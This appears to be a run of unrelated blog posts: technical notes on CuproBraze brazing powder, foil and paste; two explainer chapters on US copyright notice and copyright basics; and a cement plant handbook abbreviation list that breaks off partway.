OKC600 alloy is patented by Luvata (U.S. Patent Number 5,378,294) but can be freely used for automotive and heavy-duty industrial heat exchanger applications. This alloy is mainly used for brazing powder. VZ 2255 is mainly used for brazing foil but can also be used as brazing powder.

Figure 9. Brazing alloy families and melting ranges.

Table 5. Nominal composition of brazing filler metals for
CuproBraze.

Brazing powder

Cold forming of the filler metals in table 5 is virtually impossible, which means that roll bonding (cladding) of the filler metal on the tube or fin material is not possible. OKC600 filler metal alloy is only available as powder, which can be mixed into brazing-pastes.
The powder is produced by gas atomizing the molten material into spherically shaped, fine-grained powder. Atomization is normally performed using a protective gas such as nitrogen as atomizing media. The atomization parameters are set for a maximal particle size of about 90 µm. Water atomizing of this alloys is not possible due to reactions between the water and the particles forming hydroxides on the surfaces which make brazing impossible.
Depending on the powder manufacturer, the average particle size is normally 15 µm to 30 µm. In practice, each atomized lot is passed through a sieve to exclude particles exceeding 90 µm. Figure 10 shows a typical powder size distribution.

Figure 10. Typical particle size distribution and shape of
OKC600 brazing powder.

The fresh atomized powder is very sensitive to oxidation. Therefore, some powder manufacturers reduce the powder to remove surface oxidation. The powder must be protected against oxidation and humidity during manufacturing, transportation and storing. The product data sheets and storing instructions should be carefully followed. In case the powder oxidizes during transport or storage, reconditioning by reduction treatment might be possible by powder manufacturers. (Reduction is the reverse chemical reaction to oxidation).

Brazing foil

An organic free brazing foil (VZ2255) with a thickness from 20 µm to 40 µm is available for the CuproBraze process. The foil is made in one process step to the final dimension by a Rapid Solidification process (RS). Due to the amorphous structure the brazing foil is completely ductile meaning it could be bent during application without breaking.
In some cases the brazing foil can be more practical than paste and should be considered as an alternative or complementary brazing material to the paste - depending on the process requirements, heat exchanger design and production volume. Especially for brazing inner fin to tubes for charge air cooler and oil cooler and for multi-tube radiator designs the foil could be considered as an alternative brazing material.
The brazing result and joint properties of the foil will be the same as for OKC600 powder/paste. Brazing foil and brazing paste can be combined in one brazing procedure in the same heat exchanger.
The foil (figure 11) is available in the widths of 15-115 mm and a thickness of 20-40 µm. (Contact the foil manufacturer for updated dimensions)

Figure 11: Brazing foil VZ2255 in different foil widths.

Brazing paste

To make it possible to apply the brazing powder for brazing of the cores, it is mixed with a binder to a suitable brazing paste. The binder is mostly specific for each paste manufacturer, which means that pastes from different manufacturers should not be mixed together. Application can then be done by means of conventional commercial application methods.
The binder is a chemical or a mixture of chemicals and is specific for each paste manufacturer. The binders can contain quite different kinds of chemical groups which mean that mixing of pastes with different kinds of binders can destroy the application and/or the brazing properties. The binders are chosen to decompose or evaporate cleanly below the brazing temperature and without leaving residues on the brazed samples. The binders are also chosen to be environmentally friendly.
All pastes are premixed and are ready to use after stirring. The stirring recommendations from the paste manufacturer should be followed in order to secure good paste applicability. There are pastes with different viscosities to be used at different kinds of joints, as well as different application methods. Contact the paste manufacturer to use the right kind of paste.
There are two main different types of binder system, solvent-based and thermoplastic. The solvent-based binders are dissolved in a solvent. The solvent is evaporated during drying, leaving a hard binder and if the binder is mixed with brazing powder, it will give a hard coating after drying which only could be re-dissolved in a solvent.
The pastes have normally long shelf life. For detailed information regarding the paste properties, contact the paste manufacturer.

Important: Do not make a mixture of pastes from different manufacturers, as they may not use the same binder system.

Copyright Notice - Part 1

2011-12-13T07:10:00.001+07:00

This chapter is about copyright notice. That's the "c" in a circle, followed by a publication date and name, usually seen on published works. The purpose of such a notice is to inform the public that a work is copyrighted, when it was published and who owns the copyright. Before March 1, 1989, a notice was required on all published works as a condition of keeping the copyright. For works published after that date, a notice is not required. Nonetheless, it's a very good idea to provide a notice anyway on all your published works.

The use of a copyright notice is the responsibility of the copyright owner and does not require any advance permission from, or registration with, the Copyright Office.

The extent to which you need to be concerned with the material in this chapter depends upon your particular situation.

Authors of books published by established companies As a practical matter, you don't have to worry much about the copyright notice if you're being published by an established publisher. The publisher, as a matter of course, will include copyright notices on all copies of the books they print and distribute. The author just needs to make sure that the information in the notice is correct.

Walt Whitman

Freelance writers Freelance writers whose work appears in magazines and other periodicals are protected by the notice the publisher provides for the periodical as a whole. But some freelancers choose to include a separate notice on their work.

Self-published authors Persons who self-publish their work must compose and format their copyright notices themselves and should carefully read this chapter, as should those who work in the publishing field.

When Copyright Notice Is Required

1. Works Published Before 1978

Until 1978, all works published in the United States had to contain a valid copyright notice to be protected by copyright. Failure to provide the notice resulted in loss of the copyright in the work—that is, the work was injected into the public domain, meaning that anyone could copy or otherwise use it without the author's permission.

EXAMPLE: Bernie self-published his poetry collection in 1977. He knew nothing about copyright law and failed to provide a copyright notice on the work. Shirley finds a copy of the collection in a used bookstore in 2000 and decides to include several of Bernie's poems in a compilation of modern American poetry. Since the book did not contain a copyright notice, it is considered to be in the public domain and Shirley may reproduce all or part of it without Bernie's permission.

2. Works Published Between January 1, 1978, and March 1, 1989

As the example above illustrates, the pre-1978 notice requirement often had draconian results—authors could lose their copyright protection just because they failed to comply with a mere technical formality. The harshness of this rule was moderated somewhat by the Copyright Act of 1976, which provided that a work without a valid notice that was published after January 1, 1978, did not enter the public domain if—within five years after the publication—the work was registered with the Copyright Office and a reasonable effort was made to add a valid notice to all copies of the work distributed after the omission was discovered.

3. Works Published After March 1, 1989

The copyright notice requirement for published works ended altogether when the United States signed the Berne Convention, an international copyright treaty. All you need to know about it now is that it required the U.S. to get rid of its notice requirement, which happened on March 1, 1989. Any work printed after that date need not contain a copyright notice, even if it was originally published prior to that date.

EXAMPLE: George self-publishes a book in 1988. The work had to contain a valid copyright notice to be protected by copyright. He then reissues the book in 2000. The newly printed copies need not contain a copyright notice, but it is a good idea to provide one anyway (see below).

4. Special Rules for Foreign Works

Works by foreign citizens or residents published in foreign countries without a copyright notice from January 1, 1978, through March 1, 1989, entered the public domain under the law then in effect just like any other work. However, as a result of the GATT Agreement, an international trade agreement, the U.S. copyright in these works has been automatically restored effective January 1, 1996.

Why Provide a Copyright Notice on Published Works?

Even though a notice is not required for works printed after March 1, 1989, you should still make sure that a valid copyright notice appears on every copy of every work you publish. There are several excellent reasons for this.

1. Notice Makes Infringement Suits Economically Feasible

Authors and other copyright owners enforce their copyright rights by suing persons who copy their work or otherwise exercise their copyright rights without their permission. Unfortunately, copyright infringement litigation is usually very expensive (copyright attorneys usually charge at least $150 an hour). As a result, copyright infringement lawsuits may be economically feasible only if the author can obtain substantial damages (money) from the infringer.

The way to get substantial damages is to prove that the infringement was willful—that is, that the infringer knew that he was breaking the law but did so anyway. Courts usually award far more damages where the infringement was willful than where the infringer didn't realize what he was doing was wrong. (See Chapter 12, Copyright Infringement, for a detailed discussion of infringement suits.)

Proving willfulness can be difficult if a work lacks a valid copyright notice. The reason for this is what's known as the innocent infringement defense. If a person copies a published work that does not contain a copyright notice, the copier can claim in court that the infringement was innocent—that is, he or she

didn't know the work was protected by copyright. If the judge or jury believes this, the copier may still be liable for infringement, but the damages (monetary compensation) may be drastically reduced from what they otherwise would have been. On the other hand, if there is a valid copyright notice on the work, the infringer cannot claim innocence and will be treated as a willful infringer.

EXAMPLE 1: Mary self-publishes a book without a copyright notice. Izzy copies a substantial amount of it in a book of his own. Mary sues Izzy for copyright infringement. Mary proves to the court that she suffered $25,000 in damages due to the infringement. However, Izzy, while admitting that he copied Mary's work, claims that he did not realize it was copyrighted because it lacked a copyright notice. The judge buys Izzy's story, and as a result rules that Izzy need only pay Mary $5,000 in damages rather than the $25,000 required to fully compensate her.

EXAMPLE 2: Assume instead that Mary included a valid copyright notice in her book. She sues Izzy for copyright infringement. Since her book contained a valid notice, Izzy cannot argue that he did not realize the book was protected by copyright. As a result, Mary is awarded the full amount of damages required to fully compensate her—$25,000.

2. Copyright Notice May Deter Potential Infringers

Another important reason to place a copyright notice on all copies of your published work is that it may help deter copyright infringement. The notice lets readers know that the work is protected by copyright and may not be copied without the owner's permission. Moreover, since copyright notices appear on the vast majority of published works, a reader of a work not containing a notice might mistakenly assume that the work is not copyrighted, and feel free to copy it.

3. Notice Protects Your Work in Countries Not Adhering to the Berne Convention

There are about half a dozen countries that do not afford copyright protection to works not containing valid copyright notices. Providing a copyright notice on your work will enable your work to be protected in these countries.

Tip

Placing a copyright notice on your published work costs nothing and may end up saving you thousands of dollars by deterring others from copying your work and enabling you to recover your full measure of damages against those who do copy it. Always, always, always place a valid copyright notice on your published work!

When to Provide Notice

A copyright notice should be included on a work when it is first published and on every subsequent published edition. A work is published for copyright purposes when it is made generally available to the public by the copyright owner or others acting with the owner's permission—a publisher, for example. It is not necessary to sell or otherwise transfer any copies of the work—publication occurs if the work is made available to the public without restriction. For example, leaving copies of a work in a public place would constitute publication, as would distributing copies on a busy street. But distributing copies to a restricted group would not constitute publication. Sending five copies of a manuscript to five publishers would not be a publication, nor would circulating copies to colleagues (a restricted group) for comment.

A copyright notice has never been required for unpublished works, and will not bar an infringer from raising the innocent infringement defense. But, under certain circumstances, it might be desirable to provide a notice on an unpublished manuscript.

Form of Notice

There are strict technical requirements as to what a copyright notice must contain. Follow these rules exactly or your notice may be found to be invalid and not accomplish its intended purpose. A valid copyright notice contains three elements:

the copyright symbol
the year in which the work was published
the name of the copyright owner. It is not required that these elements appear in any particular order in the notice, but most notices are written in the order set forth above. We'll discuss each element in turn.

1. Copyright Symbol

You should use the familiar © symbol—that is, the lowercase letter "c" completely surrounded by a circle. The word "Copyright" or the abbreviation "Copr." are also acceptable in the United States, but not in many foreign countries. So if your work might be distributed outside the U.S., be sure to always use the © symbol.

2. Year of Publication

The copyright notice must also state the year the work was published. For first editions, this is easy. Put the year the work was actually published.

a. New versions

The copyright notice for a new version of a work must contain the date that version was published. The notice need not contain the date or dates of the prior version or versions. However, it is common practice to include such dates in the copyright notice. One reason is to let the reader know when the earlier versions were created. Another reason to do this is that it is not always easy to tell if a work qualifies as a new version under Copyright Office rules.

EXAMPLE: Sally Bowles published the first edition of her high school textbook on French in 2000. The copyright notice read "Copyright © 2000 by Sally Bowles." The book is revised and republished as a second edition in 2003. If the second edition qualifies as a new version, the notice need only state "Copyright © 2003 by Sally Bowles." However, Sally is not sure whether the changes she made were substantial enough to make the second edition a new version. She decides to err on the side of caution and writes the notice like this: "Copyright © 2000, 2003 by Sally Bowles."

b. Form of date

The date is usually written in Arabic numerals—for instance, "2003." But you can also use abbreviations of Arabic numerals—for instance, "’03"; Roman numerals—for instance, "III"; or spelled out words instead of numerals—for instance, "Two Thousand Three."

Tip

Copyright owners sometimes state the year of publication in Roman numerals in the hope readers won't be able to decipher it and will think the work more recent than it really is. However, dates not written in Arabic numerals may not be acceptable in some foreign countries.

3. Copyright Owner's Name

The name of the copyright owner must also be included in the notice. Briefly, the owner is:

the author or authors of the work
the legal owner of a work made for hire, or
the person or entity (partnership or corporation) to whom all the author's exclusive copyright rights have been transferred.

a. Author or authors

Unless a work is made for hire (see below), the original author or authors own all the copyright rights. Where all these rights are retained, the author's name should appear in the copyright notice.

If there are multiple authors, they should all be listed in the copyright notice. The authors' names can appear in any order.

EXAMPLE: Joe Sixpack, Louis Loser and Benny Bigmouth write a book together about nuclear physics. All their names should appear in the copyright notice. For example: "Copyright © 2004 by Joe Sixpack, Louis Loser and Benny Bigmouth."

b. Works made for hire

A work made for hire is a work made by an employee as part of her job, or a work specially ordered or commissioned under a written work-for-hire contract. The writer's employer or other person for whom the work was prepared is the copyright owner and that person's (or entity's) name should appear in the copyright notice. The writer-employee's name should not be included in the notice.

EXAMPLE: Archie and Marion are technical writers employed by Datavue Publications, Inc. As part of their job, they write a technical manual that Datavue publishes. Only Datavue's name should appear in the copyright notice: "Copyright © 2004 by Datavue Publications."

c. Transferees

If all of the copyright rights owned by the author—or by the owner of a work made for hire—are transferred to another person or entity, that name should appear in the copyright notice on all copies printed and distributed after the transfer. However, any copies printed before the transfer occurred may be distributed without updating the notice.

EXAMPLE: Eli Yale self-publishes his book on ivy gardening in 2003. His name alone appears on the copyright notice. He prints 1,000 copies and by January 2004, 500 have been sold. In February 2004, Eli transfers his entire copyright in the book to Joe Harvard, the owner of a small bookstore. Joe is now the copyright owner. However, Joe can distribute the 500 unsold copies without updating the copyright notice they contain, even though the notice states that Eli is the copyright owner. But if Joe prints and distributes any new copies, his name alone should appear in the copyright notice.

The most common form of transfer of rights is by a writer to her publisher. A writer can sell all or part of her copyright rights to a publisher. This is a matter for negotiation. Trade book publishing contracts typically provide the publisher with an exclusive license to exercise the rights the publisher needs (for example, the right to publish the book in all Englishspeaking countries). In this event, the author's name should appear in the copyright notice, not the publisher's name, because the author has retained some of her copyright rights. Another approach, commonly used in textbook publishing, is for the author to transfer all his copyright rights to his publisher. Where this occurs, the publisher's name should appear in the notice.

Transferring Copyright Ownership, that a copyright is completely divisible—that is, the owner may transfer all or part of her exclusive copyright rights to whomever and however she wishes. For example, a copyright owner can transfer less than all of her rights and retain the others, or transfer some rights to one person or entity and all the others to other transferees. In this event, it can be confusing to determine just who the owner of copyright is for purposes of the copyright notice. The general rule is that unless the author—or owner of a work made for hire—transfers all her copyright rights to a single person or entity, the author's name should appear in the notice.

EXAMPLE: Lucy has written a novel. She sells to Schultz Publishing Co. the right to publish the book in hardcover in North America. Lucy sells the paperback rights to Pequod Press. Finally, Lucy sells the right to publish her novel outside of North America to Linus Publications. Lucy's name alone should appear in the copyright notice on the hardcover, paperback and foreign editions of her book. In contrast, if Lucy sold all her rights to Schultz, its name should appear in the notice.

The one exception to this general rule is where a collective or derivative work is created from preexisting material.

d. Form of name

Usually, the owner's full legal name is used. However, it is permissible to use an abbreviation of the owner's name, a last name alone, a trade name, nickname, fictitious name, pseudonym, initials or some other designation as long as the copyright owner is generally known by the name or other words or letters used in the notice. For example, the novelist David Cornwell could use the pseudonym John le Carré (by which he is generally known), or the International Business Machines Corporation could use the abbreviation "IBM." However, if the author is generally known only by her full name, only that name should be used in the notice.

The word "anonymous" should not be used in a copyright notice because an author is obviously not generally known by that name. Likewise, it is not advisable to use a pseudonym by which you are not generally known. You can avoid revealing your name in a copyright notice, and still ensure the notice's validity, by transferring all of your copyright rights to your publisher. This way, the publisher's name may appear in the notice. Another approach would be to form a corporation, transfer your entire copyright to it, and then use the corporation's name in the notice.

If the copyright owner is a corporation, it is not necessary to include the word "Inc." in the name, even if this is part of the corporation's full legal name. Nor is it necessary for the word "by" to precede the copyright owner's name, although it is commonly used—for example, a notice can be written as "Copyright © 2004 by Joe Blow" or "Copyright © 2004 Joe Blow."

Copyright Basics

2011-12-12T23:02:00.001+07:00

This chapter is an introduction to some basic copyright concepts and vocabulary. It is designed to pave the way for more detailed discussions in later chapters. We therefore urge you not to use this material to reach a final conclusion about any particular issue. Only after reading one or more of the later chapters will you be in a position to make a judgment about a particular question or course of action.

Why Have a Copyright Law?

The Founding Fathers recognized that everyone would benefit if creative people were encouraged to create new intellectual and artistic works. When the United States Constitution was written in 1787, the framers took care to include a copyright clause (Article I, Section 8) stating that "The Congress shall have Power … To promote the Progress of Science and useful Arts, by securing for limited times to Authors … the exclusive Right to their … writings."

The primary purpose of copyright, then, is not to enrich authors; rather, it is to promote the progress of science and the useful arts—that is, human knowledge. To pursue this goal, copyright encourages authors in their creative efforts by giving them a mini-monopoly over their works—termed a copyright. But this monopoly is limited when it appears to conflict with the overriding public interest in encouraging creation of new intellectual and artistic works generally. (See Section E, below.)

What Is Copyright?

Copyright is a legal device that provides the creator of a work of art or literature, or a work that conveys information or ideas, the right to control how the work is used. The Copyright Act of 1976—the federal law providing for copyright protection—grants authors a bundle of intangible, exclusive rights over their work. These rights include:

reproduction right—the right to make copies of a protected work
distribution right—the right to sell or otherwise distribute copies to the public
right to create adaptations (or derivative works)—the right to prepare new works based on the protected work, and
performance and display rights—the right to perform a protected work such as a stage play, or display a work in public.

An author's copyright rights may be exercised only by the author—or by a person or entity to whom the author has transferred all or part of her rights. If someone wrongfully uses the material covered by the copyright, the copyright owner can sue and obtain compensation for any losses suffered.

In this sense, a copyright is a type of property—it belongs to its owner (usually the author) and the courts can be asked to intervene if anyone uses it without permission. And, like other forms of property, a copyright may be sold by its owner, or otherwise exploited for her economic benefit.

How Is a Copyright Created and Protected?

A copyright automatically comes into existence the moment an author fixes her words in some tangible form—for instance, the moment a book or article is typed, handwritten or dictated. No further action need be taken. However, it is wise to place a valid copyright notice on all published works and to register these works in the U.S. Copyright Office shortly after publication.

What Constitutes Publication

Knowing whether a work has been published or not can be important because many important copyright rules differ for published and unpublished works. A work is published for copyright purposes when copies are sold, rented, lent, given away or otherwise distributed to the public by the copyright owner or by others acting with the owner's permission—for example, a publisher. It is not necessary to sell thousands of copies of a work for it to be considered published. So long as copies of a work are made available to the public, the work is "published" for copyright purposes even if no copies are actually sold or otherwise distributed.

1. Notice

In the past, all published works had to contain a copyright notice (the © symbol followed by the publication date and copyright owner's name) to be protected by copyright. This is no longer true. Use of copyright notices is now optional. Even so, it is always a good idea to include a copyright notice on all published works so that potential copiers will be informed of the underlying claim to copyright ownership.

2. Registration

Prompt registration in the U.S. Copyright Office makes your copyright a matter of public record and provides a number of important advantages if it is ever necessary to go to court to enforce it. To register a work you must fill out a registration form and deposit copies of your work with the Copyright Office.

What Copyright Protects

Copyright protects an author's words if and to the extent they are original—that is, not copied from other authors' works. Since the main goal of copyright is to encourage creation of new intellectual and artistic works, it follows that copyright protection extends only to material authors write themselves.

There is also no reason to protect works whose creation is a purely mechanical or clerical act. Protecting works such as phone books or certain blank forms would not help develop the arts and sciences. An author must employ a minimal amount of creativity in creating the work. This does not mean that to be protectible a work has to be a great work of art, but a minimal amount of thought or judgment must have been involved in its creation.

A work need not be entirely new to be protectible. Copyright protects new material an author adds to a previously existing work. For example, copyright protects derivative works. A derivative work is a work that is created by adapting or transforming previously written material into a new work of authorship. Examples include a screenplay or stage play based on a novel, an English translation of a work written in a foreign language and condensed versions of articles (such as those found in Reader's Digest). Copyright can also protect "compilations." These are works in which preexisting materials are selected, coordinated and arranged so that a new work of authorship is created—for example, anthologies or catalogs.

Limitations on Copyright Protection

We've seen that the purpose of copyright is to encourage intellectual and artistic creation. Paradoxically, giving authors too much copyright protection could inhibit rather than enhance creative growth. To avoid this, some important limitations on copyright protection have been developed.

1. Ideas and Facts Are Not Protected

Copyright only protects the words with which a writer expressed facts and ideas. Copyright does not protect the facts or ideas themselves; facts and ideas are free for anyone to use. To give an author a monopoly over the facts and ideas contained in his work would hinder intellectual and artistic progress, not encourage it. For example, imagine how scientific progress would have suffered if Charles Darwin could have prevented anyone else from writing about evolution after he published The Origin of Species.

Because copyright only extends its protection to words rather than the underlying facts and ideas, works in which the particular words used by the author are important and distinctive—such as poems, novels and plays—enjoy the most copyright protection. Works that readers buy primarily for the ideas and facts they contain, not their language, receive less protection. This includes most types of factual works, such as histories, biographies, how-to books, news stories and so forth.

2. Fair Use

To foster the advancement of the arts and sciences, there must be a free flow of information and ideas. If no one could quote from a protected work without the author's permission (which could be withheld or given only upon payment of a permission fee), the free flow of ideas would be stopped dead. To avoid this, a special fair use exception to authors' copyright rights was created. An author is free to copy from a protected work for purposes such as criticism, news reporting, teaching or research so long as the value of the copyrighted work is not diminished.

3. Works in the Public Domain

Any work that is not protected by copyright is said to be in the public domain. This includes works in which the copyright was lost, works in which the copyright expired and works authored or owned by the federal government. Public domain means what it says—such works belong to the public as a whole. Anyone is free to use them any way she wishes without asking anyone's permission. And no one can ever obtain copyright protection for public domain material, no matter how she transforms it. Everything published in the United States before 1923 is now in the public domain, freely available to us all.

Copyright Ownership and Transfer of Ownership

The copyright in a protectible work is initially owned by the work's author or authors. But a person need not actually create the work to be its "author" for copyright purposes. A protectible work written by an employee as part of her job is initially owned by the employer—that is, the employer is considered to be the work's author. Such works are called works made for hire. Works created by nonemployees who sign work-for-hire agreements may also be works made for hire.

Like any other property, a copyright can be bought and sold. This is the way authors other than self-publishers profit from their work. Typically, authors sell their work to publishers for a fee or royalty. However, transfers of copyright ownership are unique in one respect: Authors or their heirs have the right to terminate any transfer of copyright ownership 35 years after it is made.

How Long a Copyright Lasts

Few things in this world last as long as copyright protection. Indeed, an author's work is likely to be long forgotten before her copyright in it expires. The copyright in works created after 1977 by individuals usually lasts for the life of the author plus an additional 70 years. The copyright in works created by employees for their employers lasts for 95 years from the date of publication, or 120 years from the date of creation, whichever occurs first.

The copyright in works created and published during 1923-1963 lasts for 95 years from the date of publication if they were timely renewed. It may be necessary to do some legwork to determine if a renewal was filed for a work. The copyright in works published during 1964-1977 lasts for 95 years regardless of whether a renewal was filed. The copyright in works created but not published before 1978 lasts at least until 70 years after the author dies.

Copyright Infringement

Copyright infringement occurs when a person other than the copyright owner exploits one or more of the copyright owner's exclusive rights without the owner's permission. This type of theft is also commonly termed copyright piracy.

The Copyright Act doesn't prevent copyright infringement from occurring, just as the laws against auto theft do not prevent cars from being stolen. However, the Copyright Act does give authors a legal remedy to use after an infringement has occurred—they may sue the infringer in federal court.

An author who wins an infringement suit can stop any further infringement, get infringing copies destroyed, obtain damages from the infringer—often the amount of any profits obtained from the infringement—and recover other monetary losses. This means in effect that an author can make a copyright pirate restore the author to the same economic position she would have been in had the infringement never occurred. And, in some cases, the copyright owner may even be able to obtain monetary penalties that may far exceed her actual losses.

Other Protections for Intellectual Property

The copyright law is not the only means available to protect products of human intellect that have some economic value. The state and federal trademark laws protect distinctive words, phrases, logos and other symbols that are used to identify products and services in the marketplace. The federal patent law protects new inventions. State trade secret laws may protect novel and generally unknown ideas, processes or technical designs that provide a commercial advantage in the marketplace.

1. Trademarks

The copyright laws do not protect names, titles or short phrases. This is where trademark protection comes in. Under both federal and state laws a manufacturer, merchant or group associated with a product or service can obtain protection for a word, phrase, logo or other symbol used to distinguish that product or service from others. If a competitor uses a protected trademark, the trademark holder can obtain a court injunction and monetary damages.

EXAMPLE: The word "Kleenex" is a registered trademark of the Kimberly-Clark Corporation. None of Kimberly-Clark's competitors can use this word on a box of facial tissues without Kimberly-Clark's consent. If they do, Kimberly-Clark could get a court to order them to stop and could sue for damages.

The trademark laws are often used in conjunction with the copyright law to protect advertising copy. The trademark laws protect the product or service name and any slogans used in the advertising and the copyright laws protect any additional literal expression that the ad contains.

2. Patents

By filing for and obtaining a patent from the U.S. Patent and Trademark Office, an inventor is granted a monopoly on the use and commercial exploitation of her invention for a limited time. A patent may protect the functional features of a machine, process, manufactured item, method of doing business, composition of matter, ornamental design or asexually reproduced plants. A patent also protects new uses for any such items. However, to obtain a patent, the invention must be novel and non-obvious.

EXAMPLE: Mickey invents an entirely new and non-obvious type of mousetrap. He applies for a patent on his invention. If and when it's issued, no one can make, use or sell Mickey's invention without his permission for the term of the patent (20 years from the date the patent application was filed). If they do, Mickey can sue them for patent infringement.

The basic difference between a patent and a copyright is that a patent protects ideas as expressed in an invention, whether a machine or process of some type. Copyright protects only the words an author uses to express an idea, not the idea itself.

EXAMPLE: Mary has invented the widget, a device only dreamed about for decades. She obtains a patent for her invention. She manufactures and sells the widget herself. She also writes and publishes a technical manual, The Widget Owner's Survival Guide. The patent law prevents anyone from manufacturing and selling widgets without Mary's permission. The copyright law prevents anyone from copying the manual without Mary's permission.

Obtaining a patent can be a difficult and timeconsuming process (it usually takes years). See Patent It Yourself, by David Pressman (Nolo), for a detailed discussion.

3. Trade Secrets

A trade secret is information or know-how that is not generally known in the community and that provides its owner with a competitive advantage in the marketplace. The information can be an idea, written words, formula, process or procedure, technical design, list, marketing plan or any other secret that gives the owner an economic advantage.

If a trade secret's owner takes reasonable steps to keep the confidential information or know-how secret, the courts of most states will protect the owner from disclosures of the secret by:

the owner's employees
other persons with a duty not to make such disclosures
industrial spies, and

competitors who wrongfully acquire the information.

That is, the trade secret's owner may be able to sue the infringer and obtain an injunction and/or damages. However, once information becomes widely known—for example, through publication—it loses its trade secret status and courts will not protect it.

EXAMPLE: Recall that Mary, in the second patent law example above, wrote a training manual for her widget invention. This manual was automatically protected by copyright. If the manual is also kept confidential (Mary only allows her employees to read it and makes them sign agreements to keep it confidential), it may also be entitled to trade secret protection. However, once Mary publishes and distributes the manual widely to the public, any trade secret protection would cease.

Since most authors want their work to be published and as widely read as possible, trade secret laws usually have little application to written works. However, trade secret protection may be important to authors of written works containing competitively advantageous information that has been kept confidential. Trade secret protection is provided only under state law, and varies from state to state. For more information on protecting trade secrets, see Nondisclosure Agreements: Protect Your Trade Secrets & More, by Richard Stim and Stephen Fishman (Nolo).

4. Contract Protection for Ideas

Consider this example: Manny, a TV producer, agrees to pay Sally $10,000 for telling him an idea she has for a new TV show. Sally tells Manny the idea, but he fails to pay. Does Sally have any recourse against Manny?

We know that copyright does not protect ideas, so Sally cannot sue Manny for copyright infringement. Her idea is not for a new invention, so she gets no help from the patent laws. And let's assume the idea is not a trade secret.

All is not lost for Sally, because some courts have held that if a person agrees to pay another person for disclosing an idea she has, the agreement constitutes an enforceable contract. This means that if the person fails to pay what he promised, the person who disclosed her idea may be able to sue and collect the promised payment. This might mean that Sally can sue Manny for breach of contract and collect the $10,000. Some courts would permit Sally the $10,000 only if her idea was novel and concrete and Manny actually used it. Others would not require this. See Nondisclosure Agreements: Protect Your Trade Secrets & More, by Richard Stim and Stephen Fishman (Nolo), Chapter 8, for a detailed discussion of idea protection.

However, there are very few Mannys or Sallys in the real world. Rarely, if ever, will a producer, publisher, editor or other person agree to pay an author for a mere idea. Thus, contract protection for ideas is usually more theoretical than real. The best way to protect your ideas is to disclose them only to people whose integrity can be trusted.

Copyright is a fast-changing area of the law. The copyright laws were completely rewritten in 1978 and major changes were made again in 1989 and 1998. Many people who are unaware of the impact of these changes have ideas about copyright that are no longer true. For example:

"A work must be registered with the U.S. Copyright Office to be protected by copyright."
This hasn't been true since 1978. Copyright protection begins automatically the moment a work is set to paper or otherwise fixed in a tangible form.
"Only works that have a copyright notice on them are protected by copyright."

Use of copyright notices has been optional since March 1, 1989.
"No one can use or photocopy a protected work without the owner's permission."

This has never been true. You can photocopy or otherwise use protected works so long as the use comes within the bounds of fair use—that is, does not diminish the value of the protected work.
"You can copyright your great ideas."

This also has never been true. Copyright only protects the expression of an idea, not the idea itself.

Designing Cement Plant Handbook - Abbreviations

2011-12-12T10:54:00.001+07:00

Abbreviation

Full Form

A/amp
a.c.
AC/a.c.
AF
Al₂O₃
AM
Annex.
Atmos.
b.c.
B.D. / b.d.
B.F.
B.G./b.g.
B.I.
BE
B.F.S.C./b.f.s.c.
B.H.N.
B.I.S.
B.T.U. / b.t.u.
BZ
C
C.E.O.
c.i.
C.I.F./ c.i.f.
C.S.T.
C₂S
C₃S
C₃A
C₄AF
Ca C0₃
Ca
CaO
CCS
CCTV
CH₄
Cl₂
cm
cm²
cm³ / c.c.
CMA
CO
CO₂
D.B.C. / d.b.c.
d.g.set
D.O.L.
D/E ratio
D.C. / d.c.
DDC
dia.
E.O.T
ENQS
E.S.I.S.
ESP / esp
f.a.d.
Fl.
f.k.pump
FO.B./f.o.b.
FO.R. / f.o.r.
Fe₂O₃
Fig.
FLS
GM.
GCT / gct
gm
gms/cc
h.d.p.e.
H.O.
H.P.
h.s.d.
H.T. / h.t.
H₂SO₄
HHVlhhv
HM
HP/hp
hr
ht
I&PC
I.C.I.C.I.
I.D.B.I
I.F.C.I
I.F.M.R.
I.R.R.
I.T.L
ILC
IR
ISO
Jr.
K₂O
KCAL / kcal
Kcal/kg
KG/kg
kglkg
Kg/cm²
kg/m³
km
KV
KVA
KW/kw
KWH /kwh
kwh/ton
L.O.I./ l.o.i.
L.S.F.
l.s.h.s.
L.T. / l.t.
l/d ratio
LHC
LHV/lhv
M/m
M.C.C.
M.D.
M.G./mg
M.I.S.
M.T.P.A./m.t.p.a.
m²
m³
max
MD
mgm
mgm/nm³
mgm/m³
MgO
min.
mm
mmwg
MVA
N₂
Na₂O
NCBM
nm³
NO
No./no.
NO₂
NO_x
⁰c / ⁰C
⁰f/⁰F
O₂
OPC / opc
P&I
P.C.
P.C.B.
P.D.S.
p.f.
P.L.C.
P.O.
P₂O₅
Para
PPC/ppc
RDSO
RITES
R.M.C.
r.m.s.
r.p.m.
RBI
RCC
RHC
RSP
S
s.c.
S.M.
S.R.
S.T.
SID
SC/sc
SCA/sca
sec.
SiO₂
SLC
SO₂
Sp. gr.
Sq.cm/gm
Sq.cm
Sr
SR/sr
SRC
SRR
STD
T.E.P.R.
T.E.P.S.
T.P.A./t.p.a.
T.P.D./t.p.d.
T.P.H./t.p.h.
T.P.S.
T/m³
TDS
Temp.
TiO₂
Transfr
TV
V.P.S.
V
v.r.m.N.R.Mill
V.S.Kiln
VAT
VDV
v.i.p.
v.v.i.p.
w.r.t.
WPC
wt
yr

amperes
air conditioner
alternating current
alumina ratio
alumina
alumina modulus
Annexure
atmospheric pro
belt conveyor
bulk density
burnability factor
broad gauge
burnability index
back end ( of kiln)
Blast Furnace Slag Cement
brinell hardness number
Bureau of Indian Standards
British thermal unit
burning zone (of kiln)
carbon
Chief Executive Officer
cast iron
cost insurance and freight
central sales tax
Di calcium silicate
Tri calcium silicate
Tricalcium aluminate
Tetra calcium aluminoferrite
calcium carbonate
calcium
calcium oxide
cold crushing strength
closed circuit television
methane
chlorine
centimeter
square centimeter
cubic centimeter
Cement Manufacturers' Association
carbon monoxide
carbon dioxide
deep bucket conveyor
diesel generating set
direct on line
debt / equity ratio
direct current
direct digital control
Diameter
electric overhead traveling
enquiry specifications
Employees' State Insurance Scheme
electrostatic precipitator
free air delivered at 20°C
financial institution
fuller kinyon pump
free on board
free on rail
iron oxide
figure
EL.Smidth
general manager
gas conditioning tower
gramme
grammes per cubic centimeter
high density polyethylene
head office
Himchal Pradesh
high speed diesel oil
high tension
sulphuric acid
high heat value
hydraulic modulus
horse power
hour
height
instrumentation and process control
Industrial Credit and Investment Corporation
Industrial Development Bank of India
Industrial Financial Corporation of India
Institute of Financial Manageent Resources
internal rate of return
Industrial Training Institute
in line calciner
insoluble residue
International Standards Organisation
Jumor
potassium oxide
